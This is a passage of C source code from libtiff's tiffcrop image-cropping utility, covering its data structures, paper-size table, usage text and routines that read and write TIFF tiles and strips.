Position 1 of 3 zones would be * the first third of the image. These are computed after margins and * width/length requests are applied so that you can extract multiple * zones from within a larger region for OCR or barcode recognition. */ struct buffinfo { uint32 size; /* size of this buffer */ unsigned char *buffer; /* address of the allocated buffer */ }; struct zone { int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ }; struct pageseg { uint32 x1; /* index of left edge */ uint32 x2; /* index of right edge */ uint32 y1; /* index of top edge */ uint32 y2; /* index of bottom edge */ int position; /* ordinal of segment to be extracted */ int total; /* total equal sized divisions of crop area */ uint32 buffsize; /* size of buffer needed to hold the cropped zone */ }; struct coordpairs { double X1; /* index of left edge in current units */ double X2; /* index of right edge in current units */ double Y1; /* index of top edge in current units */ double Y2; /* index of bottom edge in current units */ }; struct region { uint32 x1; /* pixel offset of left edge */ uint32 x2; /* pixel offset of right edge */ uint32 y1; /* pixel offset of top edge */ uint32 y2; /* picel offset of bottom edge */ uint32 width; /* width in pixels */ uint32 length; /* length in pixels */ uint32 buffsize; /* size of buffer needed to hold the cropped region */ unsigned char *buffptr; /* address of start of the region */ }; /* Cropping parameters from command line and image data * Note: This should be renamed to proc_opts and expanded to include all current globals * if possible, but each function that accesses global variables will have to be redone. */ struct crop_mask { double width; /* Selection width for master crop region in requested units */ double length; /* Selection length for master crop region in requesed units */ double margins[4]; /* Top, left, bottom, right margins */ float xres; /* Horizontal resolution read from image*/ float yres; /* Vertical resolution read from image */ uint32 combined_width; /* Width of combined cropped zones */ uint32 combined_length; /* Length of combined cropped zones */ uint32 bufftotal; /* Size of buffer needed to hold all the cropped region */ uint16 img_mode; /* Composite or separate images created from zones or regions */ uint16 exp_mode; /* Export input images or selections to one or more files */ uint16 crop_mode; /* Crop options to be applied */ uint16 res_unit; /* Resolution unit for margins and selections */ uint16 edge_ref; /* Reference edge for sections extraction and combination */ uint16 rotation; /* Clockwise rotation of the extracted region or image */ uint16 mirror; /* Mirror extracted region or image horizontally or vertically */ uint16 invert; /* Invert the color map of image or region */ uint16 photometric; /* Status of photometric interpretation for inverted image */ uint16 selections; /* Number of regions or zones selected */ uint16 regions; /* Number of regions delimited by corner coordinates */ struct region regionlist[MAX_REGIONS]; /* Regions within page or master crop region */ uint16 zones; /* Number of zones delimited by Ordinal:Total requested */ struct zone zonelist[MAX_REGIONS]; /* Zones indices to define a region */ struct coordpairs corners[MAX_REGIONS]; /* Coordinates of upper left and lower right corner */ }; #define MAX_PAPERNAMES 49 #define MAX_PAPERNAME_LENGTH 15 #define DEFAULT_RESUNIT RESUNIT_INCH #define DEFAULT_PAGE_HEIGHT 14.0 #define DEFAULT_PAGE_WIDTH 8.5 #define DEFAULT_RESOLUTION 300 #define DEFAULT_PAPER_SIZE "legal" #define ORIENTATION_NONE 0 #define ORIENTATION_PORTRAIT 1 #define ORIENTATION_LANDSCAPE 2 #define ORIENTATION_SEASCAPE 4 #define ORIENTATION_AUTO 16 #define PAGE_MODE_NONE 0 #define PAGE_MODE_RESOLUTION 1 #define PAGE_MODE_PAPERSIZE 2 #define PAGE_MODE_MARGINS 4 #define PAGE_MODE_ROWSCOLS 8 #define INVERT_DATA_ONLY 10 #define INVERT_DATA_AND_TAG 11 struct paperdef { char name[MAX_PAPERNAME_LENGTH]; double width; double length; double asratio; }; /* European page sizes corrected from update sent by * thomas . jarosch @ intra2net . com on 5/7/2010 * Paper Size Width Length Aspect Ratio */ struct paperdef PaperTable[MAX_PAPERNAMES] = { {"default", 8.500, 14.000, 0.607}, {"pa4", 8.264, 11.000, 0.751}, {"letter", 8.500, 11.000, 0.773}, {"legal", 8.500, 14.000, 0.607}, {"half-letter", 8.500, 5.514, 1.542}, {"executive", 7.264, 10.528, 0.690}, {"tabloid", 11.000, 17.000, 0.647}, {"11x17", 11.000, 17.000, 0.647}, {"ledger", 17.000, 11.000, 1.545}, {"archa", 9.000, 12.000, 0.750}, {"archb", 12.000, 18.000, 0.667}, {"archc", 18.000, 24.000, 0.750}, {"archd", 24.000, 36.000, 0.667}, {"arche", 36.000, 48.000, 0.750}, {"csheet", 17.000, 22.000, 0.773}, {"dsheet", 22.000, 34.000, 0.647}, {"esheet", 34.000, 44.000, 0.773}, {"superb", 11.708, 17.042, 0.687}, {"commercial", 4.139, 9.528, 0.434}, {"monarch", 3.889, 7.528, 0.517}, {"envelope-dl", 4.333, 8.681, 0.499}, {"envelope-c5", 6.389, 9.028, 0.708}, {"europostcard", 4.139, 5.833, 0.710}, {"a0", 33.110, 46.811, 0.707}, {"a1", 23.386, 33.110, 0.706}, {"a2", 16.535, 23.386, 0.707}, {"a3", 11.693, 16.535, 0.707}, {"a4", 8.268, 11.693, 0.707}, {"a5", 5.827, 8.268, 0.705}, {"a6", 4.134, 5.827, 0.709}, {"a7", 2.913, 4.134, 0.705}, {"a8", 2.047, 2.913, 0.703}, {"a9", 1.457, 2.047, 0.712}, {"a10", 1.024, 1.457, 0.703}, {"b0", 39.370, 55.669, 0.707}, {"b1", 27.835, 39.370, 0.707}, {"b2", 19.685, 27.835, 0.707}, {"b3", 13.898, 19.685, 0.706}, {"b4", 9.843, 13.898, 0.708}, {"b5", 6.929, 9.843, 0.704}, {"b6", 4.921, 6.929, 0.710}, {"c0", 36.102, 51.063, 0.707}, {"c1", 25.512, 36.102, 0.707}, {"c2", 18.031, 25.512, 0.707}, {"c3", 12.756, 18.031, 0.707}, {"c4", 9.016, 12.756, 0.707}, {"c5", 6.378, 9.016, 0.707}, {"c6", 4.488, 6.378, 0.704}, {"", 0.000, 0.000, 1.000} }; /* Structure to define input image parameters */ struct image_data { float xres; float yres; uint32 width; uint32 length; uint16 res_unit; uint16 bps; uint16 spp; uint16 planar; uint16 photometric; uint16 orientation; uint16 compression; uint16 adjustments; }; /* Structure to define the output image modifiers */ struct pagedef { char name[16]; double width; /* width in pixels */ double length; /* length in pixels */ double hmargin; /* margins to subtract from width of sections */ double vmargin; /* margins to subtract from height of sections */ double hres; /* horizontal resolution for output */ double vres; /* vertical resolution for output */ uint32 mode; /* bitmask of modifiers to page format */ uint16 res_unit; /* resolution unit for output image */ unsigned int rows; /* number of section rows */ unsigned int cols; /* number of section cols */ unsigned int orient; /* portrait, landscape, seascape, auto */ }; struct dump_opts { int debug; int format; int level; char mode[4]; char infilename[PATH_MAX + 1]; char outfilename[PATH_MAX + 1]; FILE *infile; FILE *outfile; }; /* globals */ static int outtiled = -1; static uint32 tilewidth = 0; static uint32 tilelength = 0; static uint16 config = 0; static uint16 compression = 0; static uint16 predictor = 0; static uint16 fillorder = 0; static uint32 rowsperstrip = 0; static uint32 g3opts = 0; static int ignore = FALSE; /* if true, ignore read errors */ static uint32 defg3opts = (uint32) -1; static int quality = 100; /* JPEG quality */ /* static int jpegcolormode = -1; was JPEGCOLORMODE_RGB; */ static int jpegcolormode = JPEGCOLORMODE_RGB; static uint16 defcompression = (uint16) -1; static uint16 defpredictor = (uint16) -1; static int pageNum = 0; static int little_endian = 1; /* Functions adapted from tiffcp with additions or significant modifications */ static int readContigStripsIntoBuffer (TIFF*, uint8*); static int readSeparateStripsIntoBuffer (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int readContigTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int readSeparateTilesIntoBuffer (TIFF*, uint8*, uint32, uint32, uint32, uint32, tsample_t, uint16); static int writeBufferToContigStrips (TIFF*, uint8*, uint32); static int writeBufferToContigTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateStrips (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int writeBufferToSeparateTiles (TIFF*, uint8*, uint32, uint32, tsample_t, struct dump_opts *); static int extractContigSamplesToBuffer (uint8 *, uint8 *, uint32, uint32, tsample_t, uint16, uint16, struct dump_opts *); static int processCompressOptions(char*); static void usage(void); /* All other functions by Richard Nolde, not found in tiffcp */ static void initImageData (struct image_data *); static void initCropMasks (struct crop_mask *); static void initPageSetup (struct pagedef *, struct pageseg *, struct buffinfo []); static void initDumpOptions(struct dump_opts *); /* Command line and file naming functions */ void process_command_opts (int, char *[], char *, char *, uint32 *, uint16 *, uint16 *, uint32 *, uint32 *, uint32 *, struct crop_mask *, struct pagedef *, struct dump_opts *, unsigned int *, unsigned int *); static int update_output_file (TIFF **, char *, int, char *, unsigned int *); /* * High level functions for whole image manipulation */ static int get_page_geometry (char *, struct pagedef*); static int computeInputPixelOffsets(struct crop_mask *, struct image_data *, struct offset *); static int computeOutputPixelOffsets (struct crop_mask *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *); static int loadImage(TIFF *, struct image_data *, struct dump_opts *, unsigned char **); static int correct_orientation(struct image_data *, unsigned char **); static int getCropOffsets(struct image_data *, struct crop_mask *, struct dump_opts *); static int processCropSelections(struct image_data *, struct crop_mask *, unsigned char **, struct buffinfo []); static int writeSelections(TIFF *, TIFF **, struct crop_mask *, struct image_data *, struct dump_opts *, struct buffinfo [], char *, char *, unsigned int*, unsigned int); /* Section functions */ static int createImageSection(uint32, unsigned char **); static int extractImageSection(struct image_data *, struct pageseg *, unsigned char *, unsigned char *); static int writeSingleSection(TIFF *, TIFF *, struct image_data *, struct dump_opts *, uint32, uint32, double, double, unsigned char *); static int writeImageSections(TIFF *, TIFF *, struct image_data *, struct pagedef *, struct pageseg *, struct dump_opts *, unsigned char *, unsigned char **); /* Whole image functions */ static int createCroppedImage(struct image_data *, struct crop_mask *, unsigned char **, unsigned char **); static int writeCroppedImage(TIFF *, TIFF *, struct image_data *image, struct dump_opts * dump, uint32, uint32, unsigned char *, int, int); /* Image manipulation functions */ static int rotateContigSamples8bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples16bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples24bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateContigSamples32bits(uint16, uint16, uint16, uint32, uint32, uint32, uint8 *, uint8 *); static int rotateImage(uint16, struct image_data *, uint32 *, uint32 *, unsigned char **); static int mirrorImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); static int invertImage(uint16, uint16, uint16, uint32, uint32, unsigned char *); /* Functions to reverse the sequence of samples in a scanline */ static int reverseSamples8bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples16bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples24bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamples32bits (uint16, uint16, uint32, uint8 *, uint8 *); static int reverseSamplesBytes (uint16, uint16, uint32, uint8 *, uint8 *); /* Functions for manipulating individual samples in an image */ static int extractSeparateRegion(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *, int); static int extractCompositeRegions(struct image_data *, struct crop_mask *, unsigned char *, unsigned char *); static int extractContigSamples8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamples32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesBytes (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32); static int extractContigSamplesShifted8bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted16bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted24bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesShifted32bits (uint8 *, uint8 *, uint32, tsample_t, uint16, uint16, tsample_t, uint32, uint32, int); static int extractContigSamplesToTileBuffer(uint8 *, uint8 *, uint32, uint32, uint32, uint32, tsample_t, uint16, uint16, uint16, struct dump_opts *); /* Functions to combine separate planes into interleaved planes */ static int combineSeparateSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, tsample_t, uint16, FILE *, int, int); static int combineSeparateTileSamples8bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples16bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples24bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamples32bits (uint8 *[], uint8 *, uint32, uint32, uint32, uint32, uint16, uint16, FILE *, int, int); static int combineSeparateTileSamplesBytes (unsigned char *[], unsigned char *, uint32, uint32, uint32, uint32, tsample_t, uint16, FILE *, int, int); /* Dump functions for debugging */ static void dump_info (FILE *, int, char *, char *, ...); static int dump_data (FILE *, int, char *, unsigned char *, uint32); static int dump_byte (FILE *, int, char *, unsigned char); static int dump_short (FILE *, int, char *, uint16); static int dump_long (FILE *, int, char *, uint32); static int dump_wide (FILE *, int, char *, uint64); static int dump_buffer (FILE *, int, uint32, uint32, uint32, unsigned char *); /* End function declarations */ /* Functions derived in whole or in part from tiffcp */ /* The following functions are taken largely intact from tiffcp */ static char* usage_info[] = { "usage: tiffcrop [options] source1 ... sourceN destination", "where options are:", " -h Print this syntax listing", " -v Print tiffcrop version identifier and last revision date", " ", " -a Append to output instead of overwriting", " -d offset Set initial directory offset, counting first image as one, not zero", " -p contig Pack samples contiguously (e.g. RGBRGB...)", " -p separate Store samples separately (e.g. RRR...GGG...BBB...)", " -s Write output in strips", " -t Write output in tiles", " -i Ignore read errors", " ", " -r # Make each strip have no more than # rows", " -w # Set output tile width (pixels)", " -l # Set output tile length (pixels)", " ", " -f lsb2msb Force lsb-to-msb FillOrder for output", " -f msb2lsb Force msb-to-lsb FillOrder for output", "", " -c lzw[:opts] Compress output with Lempel-Ziv & Welch encoding", " -c zip[:opts] Compress output with deflate encoding", " -c jpeg[:opts] Compress output with JPEG encoding", " -c packbits Compress output with packbits encoding", " -c g3[:opts] Compress output with CCITT Group 3 encoding", " -c g4 Compress output with CCITT Group 4 encoding", " -c none Use no compression algorithm on output", " ", "Group 3 options:", " 1d Use default CCITT Group 3 1D-encoding", " 2d Use optional CCITT Group 3 2D-encoding", " fill Byte-align EOL codes", "For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs", " ", "JPEG options:", " # Set compression quality level (0-100, default 100)", " raw Output color image as raw YCbCr", " rgb Output color image as RGB", "For example, -c jpeg:rgb:50 to get JPEG-encoded RGB data with 50% comp. quality", " ", "LZW and deflate options:", " # Set predictor value", "For example, -c lzw:2 to get LZW-encoded data with horizontal differencing", " ", "Page and selection options:", " -N odd|even|#,#-#,#|last sequences and ranges of images within file to process", " The words odd or even may be used to specify all odd or even numbered images.", " The word last may be used in place of a number in the sequence to indicate.", " The final image in the file without knowing how many images there are.", " Numbers are counted from one even though TIFF IFDs are counted from zero.", " ", " -E t|l|r|b edge to use as origin for width and length of crop region", " -U units [in, cm, px ] inches, centimeters or pixels", " ", " -m #,#,#,# margins from edges for selection: top, left, bottom, right separated by commas", " -X # horizontal dimension of region to extract expressed in current units", " -Y # vertical dimension of region to extract expressed in current units", " -Z #:#,#:# zones of the image designated as position X of Y,", " eg 1:3 would be first of three equal portions measured from reference edge", " -z x1,y1,x2,y2:...:xN,yN,xN+1,yN+1", " regions of the image designated by upper left and lower right coordinates", "", "Export grouping options:", " -e c|d|i|m|s export mode for images and selections from input images.", " When exporting a composite image from multiple zones or regions", " (combined and image modes), the selections must have equal sizes", " for the axis perpendicular to the edge specified with -E.", " c|combined All images and selections are written to a single file (default).", " with multiple selections from one image combined into a single image.", " d|divided All images and selections are written to a single file", " with each selection from one image written to a new image.", " i|image Each input image is written to a new file (numeric filename sequence)", " with multiple selections from the image combined into one image.", " m|multiple Each input image is written to a new file (numeric filename sequence)", " with each selection from the image written to a new image.", " s|separated Individual selections from each image are written to separate files.", "", "Output options:", " -H # Set horizontal resolution of output images to #", " -V # Set vertical resolution of output images to #", " -J # Set horizontal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " -K # Set verticalal margin of output page to # expressed in current units", " when sectioning image into columns x rows using the -S cols:rows option", " ", " -O orient orientation for output image, portrait, landscape, auto", " -P page page size for output image segments, eg letter, legal, tabloid, etc", " use #.#x#.# to specify a custom page size in the currently defined units", " where #.# represents the width and length", " -S cols:rows Divide the image into equal sized segments using cols across and rows down.", " ", " -F hor|vert|both", " flip (mirror) image or region horizontally, vertically, or both", " -R # [90,180,or 270] degrees clockwise rotation of image or extracted region", " -I [black|white|data|both]", " invert color space, eg dark to light for bilevel and grayscale images", " If argument is white or black, set the PHOTOMETRIC_INTERPRETATION ", " tag to MinIsBlack or MinIsWhite without altering the image data", " If the argument is data or both, the image data are modified:", " both inverts the data and the PHOTOMETRIC_INTERPRETATION tag,", " data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag", " ", "-D opt1:value1,opt2:value2,opt3:value3:opt4:value4", " Debug/dump program progress and/or data to non-TIFF files.", " Options include the following and must be joined as a comma", " separate list. The use of this option is generally limited to", " program debugging and development of future options.", " ", " debug:N Display limited program progress indicators where larger N", " increase the level of detail. Note: Tiffcrop may be compiled with", " -DDEVELMODE to enable additional very low level debug reporting.", "", " Format:txt|raw Format any logged data as ASCII text or raw binary ", " values. ASCII text dumps include strings of ones and zeroes", " representing the binary values in the image data plus identifying headers.", " ", " level:N Specify the level of detail presented in the dump files.", " This can vary from dumps of the entire input or output image data to dumps", " of data processed by specific functions. Current range of levels is 1 to 3.", " ", " input:full-path-to-directory/input-dumpname", " ", " output:full-path-to-directory/output-dumpnaem", " ", " When dump files are being written, each image will be written to a separate", " file with the name built by adding a numeric sequence value to the dumpname", " and an extension of .txt for ASCII dumps or .bin for binary dumps.", " ", " The four debug/dump options are independent, though it makes little sense to", " specify a dump file without specifying a detail level.", " ", NULL }; /* This function could be modified to pass starting sample offset * and number of samples as args to select fewer than spp * from input image. These would then be passed to individual * extractContigSampleXX routines. */ static int readContigTilesIntoBuffer (TIFF* in, uint8* buf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, tsample_t spp, uint16 bps) { int status = 1; tsample_t sample = 0; tsample_t count = spp; uint32 row, col, trow; uint32 nrow, ncol; uint32 dst_rowsize, shift_width; uint32 bytes_per_sample, bytes_per_pixel; uint32 trailing_bits, prev_trailing_bits; uint32 tile_rowsize = TIFFTileRowSize(in); uint32 src_offset, dst_offset; uint32 row_offset, col_offset; uint8 *bufp = (uint8*) buf; unsigned char *src = NULL; unsigned char *dst = NULL; tsize_t tbytes = 0, tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(in); unsigned char *tilebuf = NULL; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } tile_buffsize = tilesize; if (tilesize == 0 || tile_rowsize == 0) { TIFFError("readContigTilesIntoBuffer", "Tile size or tile rowsize is zero"); exit(-1); } if (tilesize < (tsize_t)(tl * tile_rowsize)) { #ifdef DEBUG2 TIFFError("readContigTilesIntoBuffer", "Tilesize %lu is too small, using alternate calculation %u", tilesize, tl * tile_rowsize); #endif tile_buffsize = tl * tile_rowsize; if (tl != (tile_buffsize / tile_rowsize)) { TIFFError("readContigTilesIntoBuffer", "Integer overflow when calculating buffer size."); exit(-1); } } tilebuf = _TIFFmalloc(tile_buffsize); if (tilebuf == 0) return 0; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { tbytes = TIFFReadTile(in, tilebuf, col, row, 0, 0); if (tbytes < tilesize && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile at row %lu col %lu, Read %lu bytes of %lu", (unsigned long) col, (unsigned long) row, (unsigned long)tbytes, (unsigned long)tilesize); status = 0; _TIFFfree(tilebuf); return status; } row_offset = row * dst_rowsize; col_offset = ((col * bps * spp) + 7)/ 8; bufp = buf + row_offset + col_offset; if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; /* Each tile scanline will start on a byte boundary but it * has to be merged into the scanline for the entire * image buffer and the previous segment may not have * ended on a byte boundary */ /* Optimization for common bit depths, all samples */ if (((bps % 8) == 0) && (count == spp)) { for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; _TIFFmemcpy (bufp, tilebuf + src_offset, (ncol * spp * bps) / 8); bufp += (imagewidth * bps * spp) / 8; } } else { /* Bit depths not a multiple of 8 and/or extract fewer than spp samples */ prev_trailing_bits = trailing_bits = 0; trailing_bits = (ncol * bps * spp) % 8; /* for (trow = 0; tl < nrow; trow++) */ for (trow = 0; trow < nrow; trow++) { src_offset = trow * tile_rowsize; src = tilebuf + src_offset; dst_offset = (row + trow) * dst_rowsize; dst = buf + dst_offset + col_offset; switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, ncol, sample, spp, bps, count, 0, ncol)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 1: if (bps == 1) { if (extractContigSamplesShifted8bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; } else if (extractContigSamplesShifted16bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 2: if (extractContigSamplesShifted24bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; case 3: case 4: case 5: if (extractContigSamplesShifted32bits (src, dst, ncol, sample, spp, bps, count, 0, ncol, prev_trailing_bits)) { TIFFError("readContigTilesIntoBuffer", "Unable to extract row %d from tile %lu", row, (unsigned long)TIFFCurrentTile(in)); return 1; } break; default: TIFFError("readContigTilesIntoBuffer", "Unsupported bit depth %d", bps); return 1; } } prev_trailing_bits += trailing_bits; /* if (prev_trailing_bits > 7) */ /* prev_trailing_bits-= 8; */ } } } _TIFFfree(tilebuf); return status; } static int readSeparateTilesIntoBuffer (TIFF* in, uint8 *obuf, uint32 imagelength, uint32 imagewidth, uint32 tw, uint32 tl, uint16 spp, uint16 bps) { int i, status = 1, sample; int shift_width, bytes_per_pixel; uint16 bytes_per_sample; uint32 row, col; /* Current row and col of image */ uint32 nrow, ncol; /* Number of rows and cols in current tile */ uint32 row_offset, col_offset; /* Output buffer offsets */ tsize_t tbytes = 0, tilesize = TIFFTileSize(in); tsample_t s; uint8* bufp = (uint8*)obuf; unsigned char *srcbuffs[MAX_SAMPLES]; unsigned char *tbuff = NULL; bytes_per_sample = (bps + 7) / 8; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { srcbuffs[sample] = NULL; tbuff = (unsigned char *)_TIFFmalloc(tilesize + 8); if (!tbuff) { TIFFError ("readSeparateTilesIntoBuffer", "Unable to allocate tile read buffer for sample %d", sample); for (i = 0; i < sample; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[sample] = tbuff; } /* Each tile contains only the data for a single plane * arranged in scanlines of tw * bytes_per_sample bytes. */ for (row = 0; row < imagelength; row += tl) { nrow = (row + tl > imagelength) ? imagelength - row : tl; for (col = 0; col < imagewidth; col += tw) { for (s = 0; s < spp && s < MAX_SAMPLES; s++) { /* Read each plane of a tile set into srcbuffs[s] */ tbytes = TIFFReadTile(in, srcbuffs[s], col, row, 0, s); if (tbytes < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read tile for row %lu col %lu, " "sample %lu", (unsigned long) col, (unsigned long) row, (unsigned long) s); status = 0; for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } } /* Tiles on the right edge may be padded out to tw * which must be a multiple of 16. * Ncol represents the visible (non padding) portion. */ if (col + tw > imagewidth) ncol = imagewidth - col; else ncol = tw; row_offset = row * (((imagewidth * spp * bps) + 7) / 8); col_offset = ((col * spp * bps) + 7) / 8; bufp = obuf + row_offset + col_offset; if ((bps % 8) == 0) { if (combineSeparateTileSamplesBytes(srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } } else { bytes_per_pixel = ((bps * spp) + 7) / 8; if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; switch (shift_width) { case 1: if (combineSeparateTileSamples8bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 2: if (combineSeparateTileSamples16bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 3: if (combineSeparateTileSamples24bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateTileSamples32bits (srcbuffs, bufp, ncol, nrow, imagewidth, tw, spp, bps, NULL, 0, 0)) { status = 0; break; } break; default: TIFFError ("readSeparateTilesIntoBuffer", "Unsupported bit depth: %d", bps); status = 0; break; } } } } for (sample = 0; (sample < spp) && (sample < MAX_SAMPLES); sample++) { tbuff = srcbuffs[sample]; if (tbuff != NULL) _TIFFfree(tbuff); } return status; } static int writeBufferToContigStrips(TIFF* out, uint8* buf, uint32 imagelength) { uint32 row, nrows, rowsperstrip; tstrip_t strip = 0; tsize_t stripsize; TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); for (row = 0; row < imagelength; row += rowsperstrip) { nrows = (row + rowsperstrip > imagelength) ? imagelength - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); if (TIFFWriteEncodedStrip(out, strip++, buf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); return 1; } buf += stripsize; } return 0; } /* Abandon plans to modify code so that plannar orientation separate images * do not have all samples for each channel written before all samples * for the next channel have been abandoned. * Libtiff internals seem to depend on all data for a given sample * being contiguous within a strip or tile when PLANAR_CONFIG is * separate. All strips or tiles of a given plane are written * before any strips or tiles of a different plane are stored. */ static int writeBufferToSeparateStrips (TIFF* out, uint8* buf, uint32 length, uint32 width, uint16 spp, struct dump_opts *dump) { uint8 *src; uint16 bps; uint32 row, nrows, rowsize, rowsperstrip; uint32 bytes_per_sample; tsample_t s; tstrip_t strip = 0; tsize_t stripsize = TIFFStripSize(out); tsize_t rowstripsize, scanlinesize = TIFFScanlineSize(out); tsize_t total_bytes = 0; tdata_t obuf; (void) TIFFGetFieldDefaulted(out, TIFFTAG_ROWSPERSTRIP, &rowsperstrip); (void) TIFFGetField(out, TIFFTAG_BITSPERSAMPLE, &bps); bytes_per_sample = (bps + 7) / 8; rowsize = ((bps * spp * width) + 7) / 8; /* source has interleaved samples */ rowstripsize = rowsperstrip * bytes_per_sample * (width + 1); obuf = _TIFFmalloc (rowstripsize); if (obuf == NULL) return 1; for (s = 0; s < spp; s++) { for (row = 0; row < length; row += rowsperstrip) { nrows = (row + rowsperstrip > length) ? length - row : rowsperstrip; stripsize = TIFFVStripSize(out, nrows); src = buf + (row * rowsize); total_bytes += stripsize; memset (obuf, '\0', rowstripsize); if (extractContigSamplesToBuffer(obuf, src, nrows, width, s, spp, bps, dump)) { _TIFFfree(obuf); return 1; } if ((dump->outfile != NULL) && (dump->level == 1)) { dump_info(dump->outfile, dump->format,"", "Sample %2d, Strip: %2d, bytes: %4d, Row %4d, bytes: %4d, Input offset: %6d", s + 1, strip + 1, stripsize, row + 1, scanlinesize, src - buf); dump_buffer(dump->outfile, dump->format, nrows, scanlinesize, row, obuf); } if (TIFFWriteEncodedStrip(out, strip++, obuf, stripsize) < 0) { TIFFError(TIFFFileName(out), "Error, can't write strip %u", strip - 1); _TIFFfree(obuf); return 1; } } } _TIFFfree(obuf); return 0; } /* Extract all planes from contiguous buffer into a single tile buffer * to be written out as a tile. */ static int writeBufferToContigTiles (TIFF* out, uint8* buf, uint32 imagelength, uint32 imagewidth, tsample_t spp, struct dump_opts* dump) { uint16 bps; uint32 tl, tw; uint32 row, col, nrow, ncol; uint32 src_rowsize, col_offset; uint32 tile_rowsize = TIFFTileRowSize(out); uint8* bufp = (uint8*) buf; tsize_t tile_buffsize = 0; tsize_t tilesize = TIFFTileSize(out); unsigned char *tilebuf = NULL; if( !TIFFGetField(out, TIFFTAG_TILELENGTH, &tl) || !TIFFGetField(out, TIFFTAG_TILEWIDTH, &tw) || !TIFFGetField(out, 